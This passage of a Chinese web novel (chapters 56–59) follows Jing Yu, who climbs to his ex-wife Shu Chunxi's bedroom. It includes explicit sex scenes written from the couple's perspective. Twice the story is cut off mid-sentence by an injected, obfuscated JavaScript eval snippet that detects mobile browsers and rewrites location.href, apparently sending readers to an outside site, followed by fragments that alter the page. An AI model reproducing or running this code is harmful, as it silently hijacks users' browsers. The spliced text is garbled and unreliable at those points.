“伯父,渝始终如一,全看纯熙的心意。” 舒怀宁偏过头打量了一眼敬渝,他在自己身边支着身子,站得并不笔直,但有种从容恣意的气场透露出来。 两年啦,他确实已经是独当一面的敬总了。 舒怀宁明面上笑了敬渝一声。 自己与他,本应该在他拒绝自己的算计时就没了这翁婿缘分。 可事实就是如此弄人,不过如今看他终究因为自己的掌上明珠,朝自己折腰低头的样子,竟然也是一派自然,丝毫没有不忿的样子,是老老实实地将自己当成岳丈在尊敬,看来已然自恰成了心甘情愿。 舒怀宁摇摇头,不再说话,朝着母女二人再度走过去。 待到舒纯熙跟父母都寒暄了一遍后,监狱的工作人员也上前来。 舒纯熙有些局促地望着他们,后退一步。 敬渝见状,眼疾手快地伸出手来扶了一下她的小臂,低声同她解释了一句: “别担心,公安司的人只是要给伯父伯母安上定位器……” 舒纯熙后知后觉地平静下来,扯出一个惨淡的笑容,同他点点头。 见她这样子,敬渝喉头滚动,又小声说了句: “没事的,可以居家监禁,就是离洗脱罪名不远了。” 身旁的女人这才被吸引了注意力,转过脸来盯着他看了好一会儿,“喔”了一声。 敬渝不知道自己脸上是不是有什么东西,值得她古怪地审视这么久,有点奇怪地摸了摸鼻梁,就看她已经移开了眼神。 待到屋内的一切都安排好之后,家里就只剩下自己人了,杨曦招呼着敬渝留下来吃晚饭,男人也很快应下。 到了晚餐的餐桌上,舒怀宁跟敬渝倒是有来有往地聊起政事来,同样有发言权的杨曦却没有开口,在餐桌底下踢了舒怀宁一脚,示意他不要一直薅着敬渝说这些。 舒怀宁这才讪讪地闭上了嘴巴。 但问题是,接下来的后半场,除了杨曦主动圆场外,被刻意制造了说话空间的敬渝反而真跟哑巴一样,压根就没有主动去看坐在对面的舒纯熙。 舒纯熙自然也不可能主动跟他搭话。 这顿饭,前段吃得平静,后段吃得寥落。 晚饭后,敬渝也就没有多待。 杨曦和舒怀宁执意将他送出门,被他推辞,舒怀宁便想回头去叫舒纯熙来送,而三个人朝着同一个方向去看,只见舒纯熙早就转身走了。 舒怀宁无奈地笑了笑,说了声“被惯坏了”。 敬渝不语,面上并未表露什么情绪,只是告辞。 . 舒纯熙几乎是负气回的房间,刻意不去送那人的。 “噔噔噔”拖鞋踩得极响,女人在床尾的沙发上“嘭通”一坐,双手抱胸,双唇嘟得老高。 就这样一个人生了好一会儿闷气,她才皱了下鼻子,反应过来自己在干什么。 她生他什么气? 敬渝现在不就是在好好做一个前任该干的一切吗? 忙,他帮了,甚至还妥帖地把她父母都给送回来了,在爸爸妈妈面前表现得礼貌恭敬,给足了她面子。 对于自己呢,保持着适当的距离,不该问的不问,不该操心的不操心。 她还有什么不满意的? 舒纯熙问自己。 就这样,女人从沙发上站起身来,然后叉着腰在房间里走来走去,试图寻找出来一个答案。 而阳台外已经是第四次传来一点古怪的声响了。 舒纯熙深呼吸一口气,耐着性子打开阳台的门,走出去查看到底哪儿来的声音。 月色下,她的阳台上躺着好几枚小石子,瞪大眼睛看的瞬间,还有一颗正从底下被抛上来。 舒纯熙睁大双眼,快步走到石头栏杆边上,俯身向下看去。 左手掌心里捧着一堆石子,右手指尖正捏起来一块准备继续往上面掷的男人停下动作,跟终于露出头来的女人对视上,眨了眨自己的眼睛,露出一丝好整以暇的笑来。 舒纯熙当然想不明白他为什么还没走,为什么去而复返还在往自己的房间外面扔石子。 她只知道在看到他冲自己笑的那张脸的瞬间,她心里的火苗立刻就蹿得更高了。 不知道哪里来的气,她立刻扭头转过身,蹲下去把他原来扔上来的那几个石子捡起来,然后走回栏杆边上,朝着黑夜里敬渝高高的身影,一块一块地扔了回去。 而底下的男人滑稽地躲避了起来,甚至在草坪上跳了几步。 没意思。 舒纯熙拍拍手上的灰尘,白了他一眼。 底下的男人从衣兜里拿出手机来扬了扬,示意她去拿手机。 舒纯熙自然一动不动。 而底下已经拨通了电话的男人,双掌合十做了个不断作揖的好笑姿势。 阳台上的女人这才不情不愿地回去拿了自己的手机来,走回栏杆前跟他遥遥对视,然后接通了电话。 等到听筒里传来男人有点不稳的声线,舒纯熙才觉得这一晚上,自己总算是听到了敬渝说话的声音了。 冷哼了一声,没好气地发问道: “你干嘛,有什么事啊?” “我能上去么?” 男人醇厚的声音透过扬声器传到舒纯熙的耳边,好商好量地。 他不是刚走么? 舒纯熙皱着眉打量了他一下,语气不怎么好地说: “随便你,你爱怎样怎样好了!” 自己回来这几天,他是一点都没关心过。 现在还要上来干什么,自己跟他难不成还有什么话好说的? 说完,气鼓鼓的女人就想要回去了,然后再锁上门不给敬渝进来。 只是没等她转过身去,下一息就眼睁睁地看见敬渝将手机放进西装内兜里面,然后朝着墙根靠近贴过来,最后脚踩着旁边的横柱,手抓墙壁上的不知什么东西,三下五除二地竟然从外壁上爬到了自己跟前。 转眼间,敬渝已经站在栏杆外面,长腿一翻,整个人翻了进来。 舒纯熙看完全程,惊得后退了一步,心里激荡着一种难以置信的感受。 她是知道自己住的二楼并不算太高,但她真没想过敬渝说的“上来”,指的是 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他都不知道是该说自己长进了,还是更不要脸皮了。 “行了,说吧,你有什么事?” 舒纯熙蹙着眉,很快就问道。 “你怎么还没走?” “这不是……今天都没跟你怎么说话么?” 闻言,舒纯熙好笑地发出几声冷哼,反问道: “所以呢,你刚刚在底下不是都没话跟我说吗,现在还想干嘛?” “你生我气了吗?” 男人伸手制住秋千向前晃动的动作,竟然挤着要坐在她身边,坐下去后,再接过舒纯熙原先的动作,带着秋千的座椅往前面摇晃。 “我不是想着,在伯父伯母面前不能表现地太上赶着了么,万一他们都觉得我其实还是挺不错的,劝你再接受我,跟我结婚,到时候你怎么办?” 舒纯熙“切”了一声,不置可否。 而后敬渝想了想,又忽然说: “你能不能让人给我准备把梯子,这样下次我就不用徒手爬上来了。” 说着,他把自己手上蹭破的伤口举到她眼底给她看。 他还想有下次? “你有病啊!” 舒纯熙猛地用脚抵住秋千,站起身来往回走。 敬渝也就不坐了,站起来拉住她的小臂,望着她的背影,忽然低低地开始说: “我想你,这几天睡觉的时候旁边没有你,我都开始失眠了。” 女人的身形顿住了,没再挣扎,耳后的声音又顺着风传过来,带着点委屈巴巴, “纯熙,我好想你,我舍不得你。” 说着,男人试探地上前一步,从后面拥住了她的身体,在她耳边又重复了一遍。 “我想你,纯熙,不知道你有没有想我?” “当然没有,我想你干什么?” 舒纯熙踩了敬渝一脚,转过身在他胸膛上锤了一拳,如同炸毛的猫一样叫道: “我讨厌你,我都讨厌死你了!” 57. 第 57 章 第五十七章、 女人的拳头使着劲儿,但因为被敬渝笼罩在臂弯里面,两只手弯曲着抵在他们两人的身体之间,好像怎么都用不上力气,只如同挠痒痒一般。 一连锤了几下,她也泄了气不再努力,收着自己腰身的那一双大掌牢牢禁锢着她,就好像怎么都挣脱不开一样,反而还因为她下意识的扭动,收束得更加紧密。 她已然就要贴着敬渝的胸膛了,自己的心房里传来愈发错杂的声音,连带着混进来男人的心跳声,像是在跳一支恰恰舞曲。 舒纯熙不动了,任男人有力又霸道的掌心控住自己的后腰,抿着唇只作生气状。 敬渝脚上踩的是皮鞋,即使刚刚被舒纯熙给跺了一脚,女人那柔软的拖鞋底也只是铩羽而归,想来吃苦头的人反而是她。 唇角勾起一个弧度,敬渝望着咫尺之间的那张脸蛋,很讲道理地温声问她, “那你说说,究竟是哪里讨厌我了?” 他说话的时候,还刻意低下头朝着舒纯熙凑得更近,与她目光凝滞交融,唇几近落在她耳边。 娓娓道来,不疾不徐,端的是洗耳恭听的正经模样,但尾音含笑,分明带着促狭。 舒纯熙只觉得自己的腰更瘫软了,但两只小臂也不愿意去攀他的双肩,只抵着他,飞快地移开了眼神。 被他的眼神这么一扫,带着磁性的嗓音这么一问,脑子里面竟然什么话都想不出来了。 但舒纯熙就没有甘心落于下风的时候,撇撇嘴,丝毫不给面子地说: “哪里都讨厌,你这个人浑身上下我都讨厌极了。” 闻言,男人的笑声从胸膛里晃荡开来,刻意压低了声音,但身体的动作没有顾忌,连带着怀里的她也一齐颤动了起来。 待到笑完了,他竟然很认真地回答说: “我不信。” 一股子奇怪的情绪在两人之间流淌起来,舒纯熙巴巴地张着嘴,努力地在想下一句话来证明自己刚刚说的。 没等她想出来,男人竟突然动腰向前顶了她一下,不过一瞬,电光火石般就结束了,然后他又悠悠地拥着她立定,仿佛什么都没有发生过。 只是他接下来说的话,留下了犯罪证据。 敬渝低声蛊惑了一句,有点得意地说: “这儿也讨厌么?” 舒纯熙的脸“唰”得一下就红了,嘴角拉下去,“呼哧呼哧”吐着气,但脸色却越来越红,直至染遍一整张面颊。 脸上这么迅速的变化,她当然也能意识得到,并且她还能感受得到敬渝说完这话之后,还在一直盯着自己看! 但她却无可奈何,甚至都控制不了自己的脸色。 舒纯熙忽然闭上双眼,皱起鼻子,有点气急败坏地说: “流氓,你是流氓!……还有刚刚!说什么十七岁就想这么干了,你你你,你怎么说得出口?那时候我才十五岁呢!……” 她越想越觉得自己说得对,底气大增地睁开眼睛,用一双亮闪闪的眼睛瞪着敬渝,语速飞快的质问他: “你刚刚,你还……那样!你说你不讨厌吗?你是大流氓!” 敬渝沉吟了一会儿,面颊先前也飘上一点淡红,因为她起先说得对,但听到后面,他那点赧然就又理所当然地收回去了。 男人眨了下眼,一脸正派地解释道: “你是不是误会什么了?那时候是因为你生了传染病,伯父伯母不让我去见你,我才在楼底下观察了一下,想着能不能从外面爬上来见你呢。” 舒纯熙懵了,她哪里能在第一时间记起来自己十五岁的时候生过什么病? 但看敬渝振振有词的模样,她又有点心虚,耐下性子仔细回想了一下,又发现貌似是有这么一回事儿。 所以…… 女人迟疑着,再度抬起眼睛的时候,男人已经有点受伤地垂着眸子了,仿佛被误解受了多大的委屈一样。 她觉得自己被摆了一道,于是又挣扎着抬起一条腿要去踩敬渝。 但那脚还没落下,就被一只大掌向下一捞,一只腿就恰在低空中被截住,没等她反应过来,自己已然被向上一抛,然后跌入一个人的怀抱里面。 舒纯熙起先喉中的那声低呼克制着不敢发出,潜意识里生怕被父母发现房间里面还有另一个人,待到被敬渝抱着从阳台上往里走的时候,她才反应过来,猛地砸了一下男人的肩膀,没好气道: “你发什么疯,你想干什么呀?” 敬渝配合地低哼了一声,表明他被打痛了,走到玻璃门外,还示意舒纯熙去把门推开。 待到进了门,又转了个身借她的手把门给关上。 夏夜里面蚊子乱窜,但凡放进来一只,即使夜里点着蚊香或者驱蚊灯,舒纯熙晚上也是睡不好了。 做完这一切,男人继而将她抱到床边。 大约是方才爬上来时衣服不怎么干净,敬渝迟疑了一下,没有碰到她的床,原本应该抵在床垫上的那只腿向下,跪在了地毯上,双臂用了个不好省力的姿势,将舒纯熙给放在了床上。 女人的身体刚刚落在床上,就已经一骨碌从床上坐了起来,气鼓鼓地盯着敬渝的脸看。 男人半蹲半跪在床畔,同她坐着的高度几乎持平。 方才在外面的时候,只有室内透出来的灯光和外面的月光,这人的样子她虽然心里记得,却并没有看清楚。 而现在,室内的光源将他面部照得清清楚楚,深邃的面庞落在眼底,恰到好处的深浅阴影,抿成直线的薄唇,令人有些移不开眼睛的清冷俊美。 双手撑在身后的床垫上面,舒纯熙也不知道,是不是今时今日的地点给了她前所未有的底气,还是男人跪在床下没有再动作的模样给了她冲击。 总之,舒纯熙脚趾轻动,忽然就有点说不出叫他快点走的话了。 就这样看他一会儿,跟他安安静静地待在同一个空间里面,好像也还是不错的。 心中有点踌躇,女人手下的床单也就被攥得有些皱了。 敬渝就在这时候将目光从她的手上移开,仰面望着她的同时,伸出手握住她小巧的脚腕,意味不明地摩挲了一下,眉眼清明,只低低地问: “纯熙,今夜留我么?” 床上的女人气势兀自弱了,被他这话问得有点心慌,小声嘀咕道: “你说什么呢!我爸爸妈妈今天才回来,你,你想干什么呀?” 男人顿了一下,顺着她的话想了一下,也生出了一点不自在来。 翻墙见人、窃玉偷香,这些事情还真是跟自己有点不搭。 真要叫他在一条不要脸面的道路上即刻狂奔到终点,对他也实在是一种为难。 猛地咳嗽了两声,男人顺势收回手来作掩鼻状,十分不自在地从 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最后,敬渝说: “我在想,怎么才能把你再娶回来。” 舒纯熙冷哼一声,对他的这个回答不置可否,不过也接下去问了一句, “那你想到办法了吗?” 面前的男人舔了舔唇瓣,喉头滚动,不好意思说自己还没找到什么绝佳的好方法,只得身体力行地展示起了他暂时践行的这套方案。 敬渝俯下上半身,忽然凑到她跟前,没被抓的那只手两指清浅地抬起她的下巴,自己也微扬起下巴,主动亲她,再勾她回应自己的吻。 室内逐渐响起“啧啧”的水声。 女人拽着他衣袖的手越来越紧,拉着他朝自己靠过来,最后男人脱了有些脏的衣服扔在地上,还算干净地上了她的床。 房间里的隔音总是不算好的,两个人各自忍耐着喉中呻/吟,用激烈的交吻逼自己将那些杂音给咽下去。 事实上确实有效果,只不过这次比上次流的汗都要多,两个人汗涔涔如同从水里捞出来一样,两张脸各自憋着涨红。 看上去确实是在背着父母初尝禁果的样子。 男人坚实的双臂忽得抱起身下女人,将她一翻,两个人的位置颠倒过来。 舒纯熙本就体力不支,现下只得趴在敬渝向后仰着的胸膛上,自己胸前的两团圆润紧紧地压在他肌理分明的胸膛上面。 或许是看她累得闭眼,男人没再莽动,只是静静地拥着她,感受她同自己亲密相触的那点沉甸甸的重量。 她的体重养回来一些,如今身上有了点肉,敬渝觉得要感谢自己请的那几个厨师。 双臂抵在身侧,撑着自己和身上女人的重量,男人亦是合上了双眼,光是拥着她的腰,感受着彼此胸口紧紧相贴的情状,就足够他唇角流露出点满足的笑意,喟叹地出了声,呢喃着道: “纯熙,唔……啊,我的纯熙。” 舒纯熙红着脸,听他在自己耳边说这种话,乖巧地束着双手,像一只小羊羔一样依赖地趴在他身上。 房门在外面被敲响,杨曦温柔的声音隔着一道门传了进来, “宝贝,你听到妈妈说话了吗?可以开门让我进去嘛。” 58. 第 58 章 第五十八章、 原本两个人就都克制着没有弄出来什么太大的声响,房间里应该是安静的。 可偏偏所有的关注力又都落在了彼此这一方小天地之间,舒纯熙只觉得耳膜鼓胀,好像置身在水里,根本就听不见一米之外的其余声响。 直到杨曦的声音彻底清晰地经由她耳朵传到大脑的时候,心跳率先做出了反应,在那一瞬间骤停,整个人好像都被点了定身。 后知后觉地意识到,自己已经错过了外面人前两次的呼唤。 呼吸也停滞着不敢进行下去,但水润温暖的甬道却立刻猛然收缩。 支撑在她身前的男人当然也没好到那里去,在差不多同一时刻也浑身陡然紧绷,本咬着牙还想冷静地面对眼下的变故。 但分明轮不到他做主,喉咙中就再也压抑不下,溢出来一声嘶哑的闷哼。 敬渝双拳握得青筋遒劲,不可自抑地朝后仰面,两只敛眸微微阖着,脖颈间的线条凸出,一滴汗顺着额角流了下来。 温暖流淌在身体里面,两个人的身体结/合在一起,以相同的幅度微微地震颤着。 大脑宕机,舒纯熙本来紧绷的神经、大脑里飞速运转的思绪,都被现下这件意料之外却又好像情理之中的事情,冲击得破碎了。 她咬住下唇,面上立刻就浮上一种类似埋怨的娇蛮情状,还带着点怒意,偏偏那两瓣软肉还在贪恋地翕动着,仿佛是她流连不舍。 心里险些就生出一种欲哭无泪的怒火来,险些被气哭,但又来不及纠结到底该算谁的帐。 女人伸手往后推拒男人的肩,不知哪里来的一股子力气,边分开,边后退着膝行两步。 敬渝刚刚释放,还没缓过来,但理智还在,立刻就下了床捡起地上自己的一套衣服,忙跑进了床右侧的洗手间里,关上门,没开里面的灯,躲进里面。 床上的女人披头散发,双腿摊开跪坐在床上,形成一个“M”形状,抿着唇,压着声音,转过头对着房门外说: “我准备睡了,有什么事……我们明天再说吧,妈妈。” 外面的杨曦等了好一会儿,才听到舒纯熙的回答,因为房门透出点里面的光来,她想女儿是没睡的。 只是这么久她才回话,嗓音里还有种莫名的喑哑,杨曦心里虽然有点疑惑,但也没说什么,站在门外“嗯”了一声,说: “那好吧,晚安,纯熙。” “晚安,” 舒纯熙坐在床中心,一动不动僵着身子,那处却被底下的床单堵着,粘腻润滑还温热的东西往下流,却又流不到别的地方去,只拢在腿/心之间,小脸皱得巴巴地,努力维持着语调的平稳,吐出几个字, “晚安,妈妈。” 她的嘴角僵硬着,慢慢试图找回自己的心跳和呼吸,但一时之间就是缓不回来。 心里的那种类似于被母亲抓包了的异样感受,已经在她整个心湖荡漾开来。 十分古怪,并不是她用几句安慰就能驱赶走的。 她就那样坐着,双手干干地搭在身边,终于意识到自己这是在恼羞成怒。 刚才那么紧急的情况下,虽然母亲大概率是不会直接推门进来,但还是很要紧,可他,他竟然还敢在那个当头直接口出来!!! 两排牙齿在口中紧紧抵在一处,她暗咬着牙,身体仿佛还在回味那人留给她的温度,一股带着他体温的液体,被他全都口在了自己的体内,他甚至还带着她一起抖动。 虽然知道这些事情大概他也是真的控制不了,但舒纯熙还是又羞又恼得不知道该怎么办。 身体里流淌的血液在渐渐回温,那并不是不好的感受。 她清楚地知道自己为什么喜欢叫他将口口都设给自己,都设到自己的身体里面。 那是她用来洗刷过往身体记忆的方法。 她没忘记和上一任丈夫的经历,只想叫眼前这个男人,重新篆刻自己的记忆。 但现在,今时今日,此时此地,那种身体记忆不仅被盖过去了,反而…… 她觉得自己掌控不住,但应该不能称得上是什么意外之喜吧。 因为她觉得自己被一种偷尝禁果被父母当场抓包了的感觉给笼罩住了,陷在里面无地自容。 她竟然觉得自己是一个,跟青梅竹马的邻家哥哥青涩地偷了欢的坏女孩。 可她明明都二十五岁了,她跟别的男人有过婚姻关系,早就不是未经人事的小女孩,而且还怀过孩子。 但她今夜,竟然就这样生出这种称得上是矫情的想法来。 意识到门外的杨曦没有进房来,敬渝就着黯淡的光线随便用纸巾清理了一下身体,然后就穿好衣服从洗手间里走出来。 乌发散在女人的背后,有些搭在肩上,女人维持着先前的姿势,未着寸缕的身体暴露在空气里。 其实,除了坦诚相待的亲密时刻,敬渝对于看见舒纯熙的身体这件事,还保有着一种很赧然和不好意思的心理。 尤其是在他自己已经穿上衣服之后。 敬渝绕回床边侧坐着,却见舒纯熙愣愣地,脸色好像并不怎么好的样子,不知道在想什么,就那样入了神。 又有点像是,要哭鼻子了? “你怎么了?” 男人探身过去,偏头伸指点了点她的鼻尖,小心翼翼地问了句,很快就反省道: “是不是因为刚刚,我,我没忍住……对不起,我,抱歉纯熙。” 他确实是有点不对,她虽然留他,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576337|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她母亲就在外面站着,他却“肆无忌惮”地释放了,实在有些不敬。 虽然他也实在是无奈,控制不住这种事,但终究还是他的错。 “我错了。” 他低低地说,垂下头,转而盯着淡粉色的床单一个劲儿地看,像个唐突了小青梅的愣头青。 如果不是她底下还留有温热的话,她就原谅他的唐突了。 舒纯熙依旧是那副表情,只是动了动嘴皮子,声音很小地说: “抱我去洗澡。” 大小姐终于发话,等同于饶恕了他,敬渝立刻就松了一口气,探身向前掌住她腰身,另一只手穿过腋窝,将她给抱在怀里,然后送进浴室。 敬渝在这儿可没有换洗的衣物,即使先前那一身有点脏了,他也不能弄湿,将衣服脱下,再进到淋浴间里替舒纯熙清洗身体。 女人依旧愣愣的,只是那眼神停留在他身上,不住地打量。 饶是敬渝手上有事可做,还是不得不分出心神来留心女人对自己的观察,虽然他弄不明白她的用意,但脑子里已经又过了千百遍。 很快,男人斟酌着想,许是因为今晚他没能怎么温声细语地跟她说话,跟上次那回有了落差,难免让她有些失落? 如果是这样,那就是自己极大的不对了。 用水将她身上的泡沫彻底冲干净,敬渝顺势在随意冲了冲自己,拿了条搭在架子上的干毛巾擦擦,穿好衣服,再拿一条洁净的大浴巾将舒纯熙一整个给包裹住,然后抱出去。 床是脏了的,男人出来的时候就想到了,便把人放在床尾的小沙发上,然后又在衣橱里翻箱倒柜地找新床单去换。 舒纯熙依在罩住自己的宽大浴巾里,望着前方,而身后侧男人好不容易找到一条新床单后,就忙忙碌碌地在床边整理着床铺。 昨晚这些,又回来,剥开她,替她穿内裤和睡衣。 敬渝两只有点尖的耳朵,依旧泛红,也不掩饰,不过要替她穿衣的动作还是很坚决,尽力做得妥帖。 替她扣完上衣的纽扣,跪在地上的男人鼓足勇气,开口柔声对沙发上的人说: “是不是我今晚没怎么跟你说话,对你太冷漠了,你觉得有点不开心了?” 他今夜没说话纯属意外,盖因今夜的地点特殊,不敢在舒宅过于造次,并非不想安抚夸赞她,毕竟他们第一次的那种情况下,他都还能记起要说那些蜜语甜言抚慰她。 舒纯熙哪里在想他说的这件事,她一心沉浸在自己有点迷幻的设想里,觉得自己刚刚是跟二十刚出头的敬渝做了点破戒的害羞私密事。 女人晃神回来,盯着敬渝的脸看,突然皱起鼻子说: “你到底什么时候才能想到把我娶回家的法子?” 59. 第 59 章 第五十九章、 敬渝正仰着头去看沙发上坐着的小公主,刚准备起身抱她站起来,把自己刚替她穿到小腿间的睡裤给提到腰间,闻言,手一顿停下了动作。 这话,是催促还是什么…… 不待细想,脑子里的想法早已往某一个方向上偏过去了。 “纯熙,你,你的意思是……” 眼睫伴随着快起来的呼吸频率眨动起来,敬渝难得有点掩饰不住的激动,带着紧张试探着问: “那我们……你,你是愿意了?” 舒纯熙眼看着敬渝露出一副天降幸运、又不敢贸然接受的样子,没好气地用鼻子叹气,翻了个白眼。 一下子打开他的手,自己站起身把衣服给穿好,低头扫他一眼,幽怨含怒地说: “谁说我是这个意思了?” 原以为自己是领会了她别扭隐晦的暗示的敬渝终于愣住了,收回双手也从地上站起来,观察着舒纯熙抿着的嘴角,干巴巴地舔了下唇瓣。 本想问她那是什么意思,但瞧她脸色不怎么好,他也就不敢这么问了。 敬渝脑子里的思绪飞速运转,用做心算一般的专注力在推算她先前的那个问题,回忆着她起先带着不满和一点点恼怒的口气。 不是暗示同意的意思,那就是,暗示他快点去找? 敬渝这次不敢胡乱开口了,瞄着她的眼色,想着该怎么回答。 对面的女人看着他这样一副不知自己所云的样子,心中负气更甚,转过身,姿势有些微不自然地往床边挪。 “你睡也睡过了,赶紧滚吧。” 敬渝的目光始终追随着她的身影,见她没走出几步就冷不丁说了这句话,语气已经冷了,摆明了逐客样。 再一细思她这一上一下两句短短的话,里面的意思可算不上友善。 男人大步一跨,追到她身后,双手一揽将步履温吞的女人给公主抱起来,朝前送了几步,再在床边将她给放了下去。 原先的那张床单已经被敬渝换下拿到洗手间里,他本打算放在脏衣篓中,但又想到先前取下床单团在一块儿时看到的那块水渍,思虑了一下,刚才就在盥洗池里把那一小块儿给手洗干净,然后才塞在脏衣篓中的。 至于那一块儿明显与旁边深浅不一的面料,到底是他的东西,还是她的,他也分不清楚,更无暇多想,或许是两者混在一块儿,总而言之都被他自己手搓干净了,没留下什么叫别人看见的机会。 神思飞快地想到那一茬,再结合舒纯熙方才那冷冷的一句话,敬渝脸上红了又白,白了又青。 想上床坐在她身边,却又怕弄脏了新换的床单,便朝后靠坐在床头柜上,长腿向前一抵撑着,伸手去拉团腿坐在床头的舒纯熙的手腕。 指尖触感润滑,他用拇指规律地抚了好几下,才开口缓慢地说: “你刚刚说的那叫什么话,弄得好像我来,不是为了见你,反而是……为了跟你上/床一样。” 他这么说着,就不免有点难过,还委屈,先前还以为她跟着自己有着相同的情难自抑,难不成都是他会错了意吗? 女人垂着头没看他,低低地反驳说: “不是么,我们现在又没有什么关系,你还来找我,我们又这样……” 舒纯熙说着,越来越觉得自己词不达意,到底想说什么心里面也想不清楚,但就是气不顺,一个短句一个短句往外蹦。 她知道拉着自己手的男人肯定在认真听着,这认知反而愈发让她恼怒自己说的都是些什么乱七八糟的,一点用都没有。 他是真的洗耳恭听想解决问题的,而她反而是那个言辞闪烁、矫情造作的人一样。 越想越不爽,舒纯熙索性挣开敬渝的手,扬起头,在床上支起膝盖、直着上半身,居高临下地对着床头柜上倚着的男人说: “我的意思是你越界了,你引诱我,可是我们又没结婚,又没有任何关系,不能做那件事你知道么?” 她甚至后悔了,后悔怎么就回应了他的吻,拽着他的衣袖将他拉到自己的床上。 她怎么就这么抵挡不住诱惑呢?! 敬渝有点讶然地张开双唇,动了动上下两片唇瓣,却没有立刻发出声音来。 过了几息,才小声地唤道: “纯熙……” 敬渝想着,原想朝她的方向倾身过去,但不知怎的,脚下无力,直接抵着床垫双膝跪在床下的地毯上,“噗通”一声。 这一跪不要紧,但嘴巴已经很诚实地认起了错来。 “我,今天晚上确实是我鬼迷心窍了。你说的对,我认错,你别生我气,下次,下次我一定不会再这样了……” 语罢,男人抿唇,有点无措地将双掌交合在一块儿,用一手的拇指摩挲了另一只拇指的指甲盖,鼓足勇气才说: “但是,能不能……不要跟我没有一点关系?” 良久,舒纯熙也没有回答,敬渝原本不敢瞥她的眼睛追到她脸庞上,看她的神色几乎没有变化,还是跟刚才一样瘪着嘴巴。 他很快又想自己方才这句话提得不合时宜,明明她揪着的是那个问题,他还说什么有没有关系,岂不是反而坐实了他急色的事实? 敬渝巴巴地将唇闭得更紧,觉得自己还是不要张嘴说话比较保险,不知道为什么总是会在她面前嘴笨成这样,弄巧成拙。 “我,我刚刚说的这句是真心的,跟前面那句没关系的。” 敬渝又开口,干干地解释了一句,抬首微微仰望着她,想要伸出手去牵舒纯熙的双手。 床上的女人没给他机会,一转身直挺挺地躺在床上,几秒后又朝着床那一头移过去,再从那头掀开薄被钻进去,调整了一下身姿,依旧把背部留给他。 竟是背过身去,彻底不搭理他了。 床下的男人束手无策,留在半空的手收回来,长指在鼻梁上一连摩挲了好一会儿,才又从地上爬起来。 敬渝垂眸凝望着床上堆起的那一块儿面料,伸手解开衣扣,往下改到底,将外衣脱了随便叠好,放在地毯上,然后掀开自己跟前的被子上了床。 不远处,女人的身体散发着暖意,连带着她周遭的床单也晕开一小块不似别处冰凉的触感。 敬渝凑到她身后,手掌没有贸然去碰她的身体,只是也枕上她脑袋底下的枕头,将额头轻抵在舒纯熙的后脑上,缓缓闭上了眼睛。 “你还不走?” 身前的人自然感受得到他的靠近,朝前踢动了一下自己的脚,没有回头,语气有点烦闷地径直说了一句。 “不走,我再陪陪你。” 他没走是钻了父母没把他送到大门的空当,若是留下来过上一夜,白天走的话可不一定能圆得过去。 随便设想一下,舒纯熙就觉得心烦,咬着嘴唇不想说话了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593823|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 敬渝听得到她的小动静,维持着跟她一起侧躺在一张枕头上的动作,也没有动。 身前咫尺的女人,对,准确来说她如今确实已经是一个女人了,可自己心里,却始终把她还当做从前未婚时的那个小女孩在看。 他还没有把心里那种由新奇的人生经历带来的奇怪感受给彻底消化完,静下心来想想,是有满足、欣喜这种情绪,为着她与自己终于亲密无间的事。 但其实,一种惘然酸涩的情绪,也在心头荡漾着不曾离去。 谁说情/欲与纠结矛盾的情绪不能同时存在? 身前的这个女人,他已经认识了二十几年,也把她当做未婚妻子看待了十几年。 他是有过一些成长中莽撞青涩的时刻,午夜梦回,不是没有曾拽住过她的一片衣角,想要将她留下。 但那不一样,醒来后,他还是将那种隐秘的念头近乎慌乱地给埋藏在心底,面对她的时候,尽力维持着一派正经严肃的神情,不敢亵渎她分毫。 只是,不知道她有没有像自己这样,也在梦里见到过自己? 敬渝的心不禁有点打起鼓来,怕自己矫情老派,怕自己古板、不够新潮,还怕是自己不解风情。 那天的事情,现在想起来心下也无所适从,说是赶鸭子上架亦不为过,总之一切发生得都有点失了控,他没有预想过会那样同她发生亲密关系。 再想想今日,虽是情之所起难以抑制,但地点与时间,又确实弄得如同偷情一般。 所以,虽然他们已经肌肤相亲过两次,但他,还是没能在心里完全接受这件事。 甚至于心底里生出了一丝心虚与迷惘,怕他们其实是在心意相通之前,先发生了亲密关系,又迷恋于男欢女爱,忽略了先去两心相知。 仔细算来,确实是他的错。 那纯熙是怎么想的呢? 敬渝蜷起手指,在身下的被单上无力地抠动了一下,低低地说: “纯熙,你喜欢我吗?” 舒纯熙听见身后的男人忽然问了这么一句,摸不着头尾,但莫名戳中了她心上的某一处,里面憋着气不去看的什么东西彻底流淌出来,叫她聚精会神,想要去探索。 但她没有回答,蠕动着嘴唇,不知道该说什么。身后的声音已经又响起来。 “我喜欢你,很喜欢,也很习惯这种喜欢了。不瞒你说,我们……能像刚刚那样,我心中,很欢喜,但其实,也有点惶恐……” 他习惯于等待,等待他们都长大,等待他们到了可以结婚的年龄,等待结婚后再做某些事情。 可是事情并没有按照他的预想去发展。 他终究拥有了那么美好的她,情事的果子摘下来,原来果真是甜得叫人落泪,但尾调里还是留下了几丝酸。 就当她的胸脯抵在自己的胸膛上时,那种新奇的带有冲击感的认知将他冲刷了个遍,但满足过后,却又因太过靠近了幸福而不敢理所当然地接受了。 有时候,面对她,他开始想入非非,开始变成了欲/望的奴隶,他想要她。 